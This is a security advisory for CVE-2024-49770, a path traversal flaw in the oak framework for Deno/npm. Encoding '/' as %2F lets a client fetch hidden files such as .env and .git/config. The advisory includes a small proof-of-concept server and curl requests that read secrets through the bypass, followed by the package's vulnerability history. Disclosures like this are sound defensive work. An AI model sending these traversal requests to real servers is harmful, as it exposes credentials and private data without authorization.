High

Path traversal in oak allows transfer of hidden files within the served root directory

Disclosed: 01.11.2024
Updated: 11.10.2026 10:22

Summary

By default oak does not allow transferring of hidden files with Context.send API. However, this can be bypassed by encoding / as its URL encoded form %2F.

Details

1.) Oak uses decodeComponent which seems to be unexpected. This is also the reason why it is not possible to access a file that contains URL encoded characters unless the client URL encodes it first.

2.) The function isHidden is flawed since it only checks if the first subpath is hidden, allowing secrets to be read from subdir/.env.

PoC

// server.ts

import { Application } from "jsr:@oak/oak@17.1.2";

const app = new Application();

app.use(async (context, next) => {
  try {
    await context.send({
      root: './root',
      hidden: false, // default
    });
  } catch {
    await next();
  }
});

await app.listen({ port: 8000 });

In terminal:

bash

# setup root directory
mkdir root/.git
echo SECRET_KEY=oops > root/.env
echo oops >  root/.git/config

# start server
deno run -A server.ts

# in another terminal
curl -D- http://127.0.0.1:8000/poc%2f../.env
curl -D- http://127.0.0.1:8000/poc%2f../.git/config

Impact

For an attacker this has potential to read sensitive user data or to gain access to server secrets.

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
npm package	@oakserver/oak	<= 14.1.0	no fix

References

CVSS score 7.5/10

CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness (CWE): CWE-22, CWE-35
Platform: npm
Package: @oakserver/oak
Disclosed: 01.11.2024
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-qm92-93fv-vh7m - CC BY 4.0

Vulnerability history: @oakserver/oak

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries: 2
First → latest: 11.2024 08.2025
Without a fix: 2
Exploited in attacks: 0

Severity breakdown

High 1
Medium 1

Disclosures per year

2024: 1
2025: 1
2026: 0

12.08.2025

Oak Server has ReDoS in x-forwarded-proto and x-forwarded-for headers

Medium · 5.3 CVE-2025-55152 <= 14.1.0 no fix
01.11.2024

Path traversal in oak allows transfer of hidden files within the served root directory this entry

High · 7.5 CVE-2024-49770 <= 14.1.0 no fix

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